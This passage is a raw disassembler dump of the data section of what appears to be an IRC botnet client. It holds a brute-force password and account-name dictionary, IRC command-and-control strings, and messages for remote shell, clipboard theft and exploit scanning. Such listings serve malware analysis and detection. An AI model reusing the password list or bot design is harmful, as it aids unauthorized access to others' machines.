aAmber db 'amber',0 ; DATA XREF: seg002:0042C610o align 4 aAmanda db 'amanda',0 ; DATA XREF: seg002:0042C60Co align 4 aAmadeus db 'amadeus',0 ; DATA XREF: seg002:0042C608o aAlphabet db 'alphabet',0 ; DATA XREF: seg002:0042C604o align 10h aAllow db 'allow',0 ; DATA XREF: seg002:0042C600o align 4 aAllison db 'allison',0 ; DATA XREF: seg002:0042C5FCo aAlison db 'alison',0 ; DATA XREF: seg002:0042C5F8o align 4 aAlisa db 'alisa',0 ; DATA XREF: seg002:0042C5F4o align 10h aAlicia db 'alicia',0 ; DATA XREF: seg002:0042C5F0o align 4 aAlice db 'alice',0 ; DATA XREF: seg002:0042C5ECo align 10h aAliases db 'aliases',0 ; DATA XREF: seg002:0042C5E8o aAlias db 'alias',0 ; DATA XREF: seg002:0042C5E4o align 10h aAlgebra db 'algebra',0 ; DATA XREF: seg002:0042C5E0o aAlexande db 'alexande',0 ; DATA XREF: seg002:0042C5DCo align 4 aAlex db 'alex',0 ; DATA XREF: seg002:0042C5D8o align 4 aAlert db 'alert',0 ; DATA XREF: seg002:0042C5D4o align 4 aAlbert db 'albert',0 ; DATA XREF: seg002:0042C5D0o align 4 aAlbatros db 'albatros',0 ; DATA XREF: seg002:0042C5CCo align 4 aAlbany db 'albany',0 ; DATA XREF: seg002:0042C5C8o align 10h aAlaska db 'alaska',0 ; DATA XREF: seg002:0042C5C4o align 4 aAirplane db 'airplane',0 ; DATA XREF: seg002:0042C5C0o align 4 aAids db 'aids',0 ; DATA XREF: seg002:0042C5BCo align 4 aAerobics db 'aerobics',0 ; DATA XREF: seg002:0042C5B8o align 4 aAdult db 'adult',0 ; DATA XREF: seg002:0042C5B4o align 10h aAdrianna db 'adrianna',0 ; DATA XREF: seg002:0042C5B0o align 4 aAdrian db 'adrian',0 ; DATA XREF: seg002:0042C5ACo align 4 aAdam db 'adam',0 ; DATA XREF: seg002:0042C5A8o align 4 aAction db 'action',0 ; DATA XREF: seg002:0042C5A4o align 4 aAccount db 'account',0 ; DATA XREF: seg002:0042C5A0o aAcademic db 'academic',0 ; DATA XREF: seg002:0042C598o align 4 aAcademia db 'academia',0 ; DATA XREF: seg002:0042C594o align 4 a000000 db '000000',0 ; DATA XREF: seg002:0042C590o ; seg002:0042DFA8o align 4 a00000 db '00000',0 ; DATA XREF: seg002:0042C58Co ; seg002:0042DFA4o align 4 a0000 db '0000',0 ; DATA XREF: seg002:0042C588o ; seg002:0042DFA0o align 4 a000 db '000',0 ; DATA XREF: seg002:0042C584o ; seg002:0042DF9Co aTesting db 'testing',0 ; DATA XREF: seg002:0042C580o aDeath db 'death',0 ; DATA XREF: seg002:0042C57Co align 10h a00 db '00',0 ; DATA XREF: seg002:0042C578o ; seg002:0042DF98o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg002:0042C570o ; seg002:0042E3E8o align 10h aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg002:0042C56Co ; seg002:0042E3E4o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg002:0042C568o ; seg002:0042E3E0o aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg002:0042C564o ; seg002:0042E3DCo align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: seg002:0042C560o ; seg002:0042E3D8o align 4 aXxxx db 'xxxx',0 ; DATA XREF: seg002:0042C55Co ; seg002:0042E3D4o align 4 aXxx db 'xxx',0 ; DATA XREF: seg002:0042C558o ; seg002:0042E3D0o aXx db 'xx',0 ; DATA XREF: seg002:0042C554o ; seg002:0042E3CCo align 4 asc_432C24: ; DATA XREF: seg002:0042C550o ; seg002:0042E3C8o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: seg002:0042C54Co aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg002:0042C548o align 10h aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg002:0042C544o align 10h aMirc_0 db 'mirc',0 ; DATA XREF: seg002:0042C540o align 4 aKiddie db 'kiddie',0 ; DATA XREF: seg002:0042C53Co align 10h aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg002:0042C538o align 10h aScript db 'script',0 ; DATA XREF: seg002:0042C534o align 4 aHax0r db 'hax0r',0 ; DATA XREF: seg002:0042C530o align 10h aHacker db 'hacker',0 ; DATA XREF: seg002:0042C52Co align 4 aL337 db 'l337',0 ; DATA XREF: seg002:0042C528o align 10h aL33t db 'l33t',0 ; DATA XREF: seg002:0042C524o align 4 aLeet db 'leet',0 ; DATA XREF: seg002:0042C520o align 10h aKiller db 'killer',0 ; DATA XREF: seg002:0042C51Co align 4 a0wn3d db '0wn3d',0 ; DATA XREF: seg002:0042C518o ; seg002:0042E004o align 10h aW00t db 'w00t',0 ; DATA XREF: seg002:0042C514o align 4 aHeaven db 'heaven',0 ; DATA XREF: seg002:0042C510o align 10h aSpaceman db 'spaceman',0 ; DATA XREF: seg002:0042C50Co align 4 aSatanic db 'satanic',0 ; DATA XREF: seg002:0042C508o aSatanik db 'satanik',0 ; DATA XREF: seg002:0042C504o aSatan db 'satan',0 ; DATA XREF: seg002:0042C500o align 4 aGobo db 'gobo',0 ; DATA XREF: seg002:0042C4FCo align 4 aMatthew db 'Matthew',0 ; DATA XREF: seg002:0042C4F8o aMatt db 'Matt',0 ; DATA XREF: seg002:0042C4F4o align 4 aMat db 'Mat',0 ; DATA XREF: seg002:0042C4F0o aPw db 'pw',0 ; DATA XREF: seg002:0042C4ECo align 4 aMypass123 db 'mypass123',0 ; DATA XREF: seg002:0042C4E8o align 10h aMypass db 'mypass',0 ; DATA XREF: seg002:0042C4E4o align 4 aPw123 db 'pw123',0 ; DATA XREF: seg002:0042C4E0o align 10h aAdmin123 db 'admin123',0 ; DATA XREF: seg002:0042C4DCo align 4 aMypc123 db 'mypc123',0 ; DATA XREF: seg002:0042C4D8o aMypc db 'mypc',0 ; DATA XREF: seg002:0042C4D4o align 4 aLove db 'love',0 ; DATA XREF: seg002:0042C4D0o align 4 aPwd db 'pwd',0 ; DATA XREF: seg002:0042C4CCo aLogin db 'login',0 ; DATA XREF: seg002:0042C4C8o align 10h aHome db 'home',0 ; DATA XREF: seg002:0042C4C4o align 4 aZxcv db 'zxcv',0 ; DATA XREF: seg002:0042C4C0o align 10h aYxcv db 'yxcv',0 ; DATA XREF: seg002:0042C4BCo align 4 aQwer db 'qwer',0 ; DATA XREF: seg002:0042C4B8o ; seg002:0042E374o align 10h aSecret db 'secret',0 ; DATA XREF: seg002:0042C4B4o align 4 aAsdf db 'asdf',0 ; DATA XREF: seg002:0042C4B0o align 10h aPc db 'pc',0 ; DATA XREF: seg002:0042C4ACo align 4 aWin db 'win',0 ; DATA XREF: seg002:0042C4A8o aTest123 db 'test123',0 ; DATA XREF: seg002:0042C4A4o aAbc db 'abc',0 ; DATA XREF: seg002:0042C4A0o aAaa db 'aaa',0 ; DATA XREF: seg002:0042C49Co ; seg002:0042E348o aA_1: ; DATA XREF: seg002:0042C498o ; seg002:0042E340o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: seg002:0042C494o align 4 aFucked db 'fucked',0 ; DATA XREF: seg002:0042C490o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: seg002:0042C48Co aIrule db 'irule',0 ; DATA XREF: seg002:0042C488o align 4 aOwned db 'owned',0 ; DATA XREF: seg002:0042C484o align 4 a0wned db '0wned',0 ; DATA XREF: seg002:0042C480o ; seg002:0042E008o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: seg002:0042C47Co align 4 aNetdevil db 'netdevil',0 ; DATA XREF: seg002:0042C478o align 4 aDevil db 'devil',0 ; DATA XREF: seg002:0042C474o align 4 aNilez db 'Nilez',0 ; DATA XREF: seg002:0042C470o align 4 aFoobar db 'foobar',0 ; DATA XREF: seg002:0042C46Co align 4 aGod db 'god',0 ; DATA XREF: seg002:0042C468o aSex_0 db 'sex',0 ; DATA XREF: seg002:0042C464o aPat db 'pat',0 ; DATA XREF: seg002:0042C460o aPatrick db 'patrick',0 ; DATA XREF: seg002:0042C45Co aAlpha db 'alpha',0 ; DATA XREF: seg002:0042C458o align 4 a007 db '007',0 ; DATA XREF: seg002:0042C454o ; seg002:0042DFF4o a123abc db '123abc',0 ; DATA XREF: seg002:0042C450o ; seg002:0042E204o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: seg002:0042C44Co ; seg002:0042E210o align 10h a123123 db '123123',0 ; DATA XREF: seg002:0042C448o ; seg002:0042E1B0o align 4 a121212 db '121212',0 ; DATA XREF: seg002:0042C444o ; seg002:0042E1A8o align 10h a111111 db '111111',0 ; DATA XREF: seg002:0042C440o ; seg002:0042E020o align 4 a110 db '110',0 ; DATA XREF: seg002:0042C43Co ; seg002:0042E174o a2600 db '2600',0 ; DATA XREF: seg002:0042C438o ; seg002:0042E2FCo align 4 a2002 db '2002',0 ; DATA XREF: seg002:0042C430o ; seg002:0042E2E8o align 4 aXp_0 db 'xp',0 ; DATA XREF: seg002:0042C42Co align 10h aEnable db 'enable',0 ; DATA XREF: seg002:0042C428o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: seg002:0042C424o aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg002:0042C420o a123asd db '123asd',0 ; DATA XREF: seg002:0042C41Co ; seg002:0042E208o align 4 aSuper db 'super',0 ; DATA XREF: seg002:0042C418o align 10h aInternet db 'Internet',0 ; DATA XREF: seg002:0042C414o align 4 a123qwe db '123qwe',0 ; DATA XREF: seg002:0042C40Co ; seg002:0042E20Co align 4 aSybase db 'sybase',0 ; DATA XREF: seg002:0042C408o align 4 aAbc123 db 'abc123',0 ; DATA XREF: seg002:0042C400o align 4 aAbcd db 'abcd',0 ; DATA XREF: seg002:0042C3FCo align 4 aPasswd db 'passwd',0 ; DATA XREF: seg002:0042C3F4o align 4 aPass_0 db 'pass',0 ; DATA XREF: seg002:0042C3F0o align 4 a88888888 db '88888888',0 ; DATA XREF: seg002:0042C3ECo ; seg002:0042E140o align 4 a11111111 db '11111111',0 ; DATA XREF: seg002:0042C3E8o ; seg002:0042E028o align 4 a111 db '111',0 ; DATA XREF: seg002:0042C3E4o ; seg002:0042E014o a54321 db '54321',0 ; DATA XREF: seg002:0042C3E0o ; seg002:0042E308o align 10h a654321 db '654321',0 ; DATA XREF: seg002:0042C3DCo ; seg002:0042E30Co align 4 a123456789 db '123456789',0 ; DATA XREF: seg002:0042C3D8o ; seg002:0042E1C8o align 4 a12345678 db '12345678',0 ; DATA XREF: seg002:0042C3D4o ; seg002:0042E1C4o align 10h a1234567 db '1234567',0 ; DATA XREF: seg002:0042C3D0o ; seg002:0042E1C0o a123456 db '123456',0 ; DATA XREF: seg002:0042C3CCo ; seg002:0042E1BCo align 10h a12345 db '12345',0 ; DATA XREF: seg002:0042C3C8o ; seg002:0042E1B8o align 4 a1234 db '1234',0 ; DATA XREF: seg002:0042C3C4o ; seg002:0042E1B4o align 10h a123 db '123',0 ; DATA XREF: seg002:0042C3C0o ; seg002:0042E1ACo a12 db '12',0 ; DATA XREF: seg002:0042C3BCo ; seg002:0042E1A0o align 4 a1: ; DATA XREF: seg002:0042C3B8o ; seg002:0042E00Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: seg002:0042C3B4o aChangeme_0 db 'Changeme',0 ; DATA XREF: seg002:0042C3B0o align 10h aChangeme db 'changeme',0 ; DATA XREF: seg002:0042C3ACo align 4 aLinux db 'linux',0 ; DATA XREF: seg002:0042C3A8o align 4 aUnix db 'unix',0 ; DATA XREF: seg002:0042C3A4o align 4 aLocal db 'LOCAL',0 ; DATA XREF: seg002:0042C3A0o align 4 aPepsi db 'pepsi',0 ; DATA XREF: seg002:0042C39Co align 4 aServer_1 db 'SERVER',0 ; DATA XREF: seg002:0042C398o ; seg002:0042E758o align 4 aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg002:0042C394o ; seg002:0042E3A8o ... align 4 aBackup db 'BACKUP',0 ; DATA XREF: seg002:0042C390o ; seg002:0042E750o align 4 aAccess db 'ACCESS',0 ; DATA XREF: seg002:0042C388o ; seg002:0042E748o align 4 aTest db 'TEST',0 ; DATA XREF: seg002:0042C384o ; seg002:0042E744o align 4 aEdu db 'edu',0 ; DATA XREF: seg002:0042C380o ; seg002:0042E740o aOwner_1 db 'Owner',0 ; DATA XREF: seg002:0042C37Co ; seg002:0042E73Co align 10h aOwner_0 db 'OWNER',0 ; DATA XREF: seg002:0042C378o ; seg002:0042E738o align 4 aDemo db 'DEMO',0 ; DATA XREF: seg002:0042C374o ; seg002:0042E734o align 10h aFiles db 'FILES',0 ; DATA XREF: seg002:0042C370o ; seg002:0042E730o align 4 aRead db 'READ',0 ; DATA XREF: seg002:0042C36Co ; seg002:0042E72Co align 10h aBoth db 'BOTH',0 ; DATA XREF: seg002:0042C368o ; seg002:0042E728o align 4 aLadeda db 'ladeda',0 ; DATA XREF: seg002:0042C364o ; seg002:0042E724o align 10h aFull_0 db 'FULL',0 ; DATA XREF: seg002:0042C360o ; seg002:0042E720o align 4 aWrite db 'WRITE',0 ; DATA XREF: seg002:0042C35Co ; seg002:0042E71Co align 10h aShare_0 db 'SHARE',0 ; DATA XREF: seg002:0042C358o ; seg002:0042E718o align 4 aTemp db 'TEMP',0 ; DATA XREF: seg002:0042C354o ; seg002:0042E714o align 10h aPassword db 'PASSWORD',0 ; DATA XREF: seg002:0042C350o ; seg002:0042E710o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg002:0042C34Co ; seg002:0042E70Co align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: seg002:0042C344o ; seg002:0042E704o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: seg002:0042C340o ; seg002:0042E700o align 4 aBla db 'bla',0 ; DATA XREF: seg002:0042C33Co ; seg002:0042E6FCo aFubar db 'fubar',0 ; DATA XREF: seg002:0042C338o ; seg002:0042E6F8o align 10h aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg002:0042C32Co ; seg002:0042E6ECo align 10h aDb2 db 'db2',0 ; DATA XREF: seg002:0042C31Co aOracle db 'oracle',0 ; DATA XREF: seg002:0042C318o ; seg002:0042C404o align 4 aDba db 'dba',0 ; DATA XREF: seg002:0042C314o aDatabase db 'database',0 ; DATA XREF: seg002:0042C310o ; seg002:0042C3F8o align 4 aDefault db 'default',0 ; DATA XREF: seg002:0042C30Co ; seg002:0042CA98o aGuest_0 db 'guest',0 ; DATA XREF: seg002:0042C308o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0042C304o align 4 aTeacher db 'teacher',0 ; DATA XREF: seg002:0042C300o ; seg002:0042DA2Co aStudent db 'student',0 ; DATA XREF: seg002:0042C2FCo ; seg002:0042D974o aOwner db 'owner',0 ; DATA XREF: seg002:0042C2F8o align 10h aComputer db 'computer',0 ; DATA XREF: seg002:0042C2F4o ; seg002:0042C410o align 4 aStaff db 'staff',0 ; DATA XREF: seg002:0042C2ECo align 4 aAdmins db 'admins',0 ; DATA XREF: seg002:0042C2E4o align 4 aAdministrat db 'administrat',0 ; DATA XREF: seg002:0042C2E0o aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0042C2DCo align 4 aAdministrador db 'administrador',0 ; DATA XREF: seg002:0042C2D8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042C2D4o ; seg002:0042C334o ... align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_41360D:loc_413718o ; seg002:0042C2D0o ... align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_42C224o a@room db '*@room',0 ; DATA XREF: seg002:off_42C220o align 4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h, 25207325h, 25222064h, 2273h dword_433144 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CB59+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCC1+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCC1+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B18o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B03o align 4 dword_4331BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412AF6o dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_4331F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412AD9o dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_433224 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412A7Bo dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_433264 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412A0Bo dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:004129FCo ; seg000:00412A6Co align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:004129E8o ; seg000:00412A58o align 10h asc_4332F0: ; DATA XREF: seg000:004129B8o unicode 0, <~>,0 dword_4332F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412967o dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_43332C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004128B9o dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_43336C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004128AEo dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_4333AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041284Ao dd 2029206Ch, 2BBBB02h, 73252020h, 0 unk_4333D0 db 2 ; DATA XREF: seg000:00412820o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0 align 10h dword_433420 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: seg000:004127AAo dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:004127A4o align 4 aSecuring db 'Securing',0 ; DATA XREF: seg000:0041279Do align 4 aSec db 'sec',0 ; DATA XREF: seg000:00412742o aSecure db 'secure',0 ; DATA XREF: seg000:00412731o align 10h unk_433470 db 2 ; DATA XREF: seg000:00412726o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start server thread, error: <%d>.',0 dword_4334BC dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334CC dd 646E6946h, 6C696620h, 65hdword_4334D8 dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334E4 dd 636F7250h, 20737365h, 7473696Ch, 0dword_4334F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004125B4o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125A7o align 4 dword_433538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412592o dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_412585o align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0041255Do align 4 dword_43358C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412511o dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_4335CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004124D3o dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_4335F8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:004124A8o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_433644 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: seg000:0041243Do dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_433674 dd 627573h dword_433678 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004123C8o dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_4336A4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:004123ADo dd 2029206Ch, 2BBBB02h aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_4336F0 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: seg000:00412320o dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_43371C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041229Fo dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_433748 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00412270o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_433774 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:0041221Bo dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_4337A0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:00412208o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_7 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_4337F0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:00412199o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: seg000:00412179o align 4 dword_43382C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: seg000:00412122o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aAlreadyRunning db ' Already running.',0 align 10h unk_433860 db 2 ; DATA XREF: seg000:004120F6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 63h ; c db 64h, 6Bh, 65h db 79h ; y db 73h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_433894 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:004120AAo dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah dd 2Eh dword_4338C0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:loc_41200Do dd 2029206Ch, 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_4338F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:00412006o dd 2029206Ch, 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_433930 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: seg000:00411FEAo dd 2029206Ch, 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_43396C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: seg000:00411FD4o dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h dd 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00411FA6o align 10h unk_4339B0 db 2 ; DATA XREF: seg000:loc_411F96o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 10h unk_4339F0 db 2 ; DATA XREF: seg000:00411F7Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_433A28 db 2 ; DATA XREF: seg000:loc_411F6Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_433A68 db 2 ; DATA XREF: seg000:loc_411F64o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_433AA8 db 2 ; DATA XREF: seg000:00411F5Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 10h unk_433AE0 db 2 ; DATA XREF: seg000:00411EDFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start server thread, error: <%d>.',0 unk_433B78 db 2 ; DATA XREF: seg000:00411C45o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_0 db 'Already running.',0 align 4 dword_433BAC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; DATA XREF: seg000:loc_411C2Fo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToSta_10 db ' Failed to start scan, port is invalid.',0 align 4 dword_433BF8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh ; 